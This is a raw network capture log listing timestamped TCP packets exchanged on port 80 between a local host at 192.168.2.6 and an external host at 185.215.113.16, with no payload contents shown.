Dec 16, 2024 15:02:21.186187983 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.186808109 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.186868906 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.187691927 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.187704086 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.187851906 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.188210964 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.188308001 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.188843966 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.188855886 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.189115047 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.190140009 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.190237045 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.190660954 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.190680981 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.190736055 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.190736055 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.190772057 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.191333055 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.191442966 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.192630053 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.192641973 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.192653894 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.192689896 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.192689896 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.193173885 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.193717003 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.193728924 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.193815947 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.194538116 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.194642067 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.194700956 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.195241928 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.195255041 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.195328951 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.196165085 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.196177959 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.196219921 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.196238041 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.196572065 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.196584940 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.197223902 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.198082924 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.198096037 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.198221922 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.198458910 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.198471069 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.199048042 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.199225903 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.199335098 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.199385881 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.199771881 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.200129032 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.200539112 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.201056004 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.201066971 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.201126099 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.201126099 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.201328993 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.201975107 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.201987028 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.202356100 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.203329086 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.203402996 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.203716993 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.203731060 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.203783035 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.204714060 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.204730988 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.204757929 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.204757929 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.205207109 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.205507994 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.206350088 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.206362009 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.206374884 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.206418991 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.206418991 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.207195997 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.208127975 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.208138943 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.208189964 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.208189964 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.208209038 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.209028959 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.209042072 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.209084988 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.209085941 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.210114002 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.210127115 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.210781097 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.210844040 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.210844040 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.211699009 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.211711884 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.211761951 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.211834908 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.211834908 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.212620020 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.212765932 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.213490963 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.213504076 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.213865995 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.213912010 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.213912010 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.214345932 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.215253115 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.215264082 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.215392113 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.216218948 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.216232061 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.216283083 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.216283083 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.217016935 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.217206001 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.217897892 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.217910051 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.217998981 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.218075991 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.218075991 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.218775034 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.218787909 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.219711065 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.220371008 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.220371008 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.220563889 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.220577002 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.220588923 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.220639944 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.220639944 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.221440077 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.221451044 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.222318888 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.222373009 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.222373962 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.223195076 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.223206997 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.223351955 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.368896008 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.368918896 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.369002104 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.369002104 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.369177103 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.369191885 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.369266033 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.370007992 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.370455027 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.370470047 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.370552063 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.370968103 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.371056080 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.371134996 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.371232033 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.371794939 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.371896982 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.372040033 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.372378111 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.372688055 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.372750044 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.373164892 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.373282909 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.373570919 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.373716116 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.373723030 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.373801947 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.374546051 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.374710083 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.375365973 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.375380993 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.375395060 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.375432014 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.375520945 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.376243114 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.376367092 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.376405001 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.376518965 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.377114058 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.377224922 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.377302885 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.377408028 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.378082037 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.378099918 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.378247023 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.379048109 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.379064083 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.379333019 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.379928112 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.379988909 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.380017042 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.380419016 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.380811930 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.380825996 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.380918026 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.381625891 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.381745100 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.382488012 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.382500887 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.382514000 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.382627964 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.383449078 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.383481979 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.383536100 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.383536100 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.384350061 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.384470940 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.384558916 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.384680986 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.385260105 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.385474920 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.386441946 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.386455059 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.386519909 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.386564016 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.386564016 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.387160063 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.387213945 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.387237072 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.387340069 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.387861013 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.387883902 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.387942076 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.387942076 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.388691902 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.388751984 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.388834953 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.388923883 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.389558077 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.389714003 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.389971972 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.390050888 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.390531063 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.390585899 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.390635967 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.390635967 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.391354084 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.391446114 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.392332077 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.392343998 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.392400026 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.392417908 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.392494917 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.393136978 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.393201113 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.393676996 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.393778086 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.394175053 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.394191027 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.394251108 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.394251108 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.395028114 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.395186901 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.395857096 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.395870924 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.395884037 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.396023989 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.396688938 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.396800041 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.397583961 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.397598028 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.397633076 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.397653103 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.397707939 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.398464918 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.398583889 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.398608923 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.398787022 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.399471045 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.399621964 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.400094986 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.400177002 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.400340080 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.400352955 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.400830984 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.401180029 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.402003050 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.402031898 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.402055025 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.402067900 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.402241945 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.402987003 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.403162956 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.403798103 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.403811932 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.403826952 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.403868914 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.403868914 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.404695988 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.404795885 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.405646086 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.405658960 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.405730963 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.405756950 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.406049967 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.406483889 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.406946898 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.407227039 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.407324076 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.407366991 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.407378912 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.407541037 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.408241987 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.408425093 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.408435106 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.408546925 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.409163952 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.409316063 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.409985065 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.409996986 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.410151005 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.410773039 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.410856009 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.411079884 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.411092997 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.411148071 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.411935091 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.412017107 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.412070990 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.412240028 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.412791014 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.412889004 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.413245916 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.413316011 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.413892031 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.413958073 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.413984060 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.414136887 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.415132999 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.415293932 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.415352106 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.415364981 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.415419102 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.561161995 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.561249018 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.561256886 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.561286926 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.561381102 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.561501980 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.561566114 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.561683893 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.562000990 CET	49892	80	192.168.2.6	185.215.113.16
